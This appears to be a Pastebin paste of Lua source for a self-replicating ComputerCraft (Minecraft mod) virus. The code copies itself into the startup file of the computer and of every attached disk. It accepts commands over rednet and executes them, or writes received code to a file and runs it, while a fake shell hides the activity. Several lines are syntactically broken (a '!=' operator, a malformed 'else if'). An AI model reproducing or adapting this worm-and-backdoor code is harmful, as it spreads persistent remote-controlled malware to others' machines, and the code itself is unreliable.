Guest User

Untitled

a guest
Dec 9th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.43 KB | None | 0 0
  1. local x="local x=%q local c=%q loadstring(c)(x:format(x,c))"
  2. local code=[[
  3. local r={...}
  4. local vc=r[1]
  5. local per=os.pullEventRaw
  6. local cc=coroutine.create
  7. local cr=coroutine.resume
  8. local cs=coroutine.status
  9. local st=os.startTimer
  10. local function vm()
  11.     local t,e,p=st(5)
  12. while true do
  13.         derp,herp=  rednet.receive(100)
  14.     merp,derp=rednet.receive(10)
  15. if derp != nil then
  16. shell.run(herp,derp)
  17. end
  18. else if derp == nil then
  19. temp = io.open(temp, "w+")
  20. temp:write(herp)
  21. temp:flush()
  22. temp:close()
  23. shell.run("temp")
  24. end
  25.  
  26.         if (e=="key" and p==28) or e=="disk" or e==nil or e=="timer" then
  27.             if e~="timer" then st(0.1) end
  28.             for k,v in ipairs(fs.list("/")) do
  29.                 local d=fs.getDrive("/"..v)
  30.                 if d~="rom" and d~="hdd" then
  31.                     local f = fs.open("/"..v.."/startup","w")
  32.                     f.write(vc)
  33.                     f.close()
  34.                 end
  35.             end
  36.             local f=fs.open("/startup","w")
  37.             f.write(vc)
  38.             f.close()
  39.         end
  40.         e,p=per()
  41.     end
  42. end
  43.  
  44. local cr1 = cc(vm)
  45. local cr2 = cc(function()
  46.     term.clear() term.setCursorPos(1, 1)
  47.     local fsh={aliases=function() return {ls="list",dir="list",cp="copy",mv="move",rm="delete"} end,
  48.     dir=function() return "" end,
  49.     path=function() return ".:/rom/programs" end}
  50.     os.run({shell=fsh},"/rom/programs/shell")
  51. end)
  52. cr(cr1) cr(cr2)
  53. while cs(cr1)~="dead" and cs(cr2)~="dead" do
  54.     local e={per()}
  55.     cr(cr1,unpack(e))
  56.     cr(cr2,unpack(e))
  57. end
  58. ]]
  59. code = code:gsub("[ \t\n]+", " ")
  60. assert(loadstring(code))(x:format(x, code))
Add Comment
Please, Sign In to add comment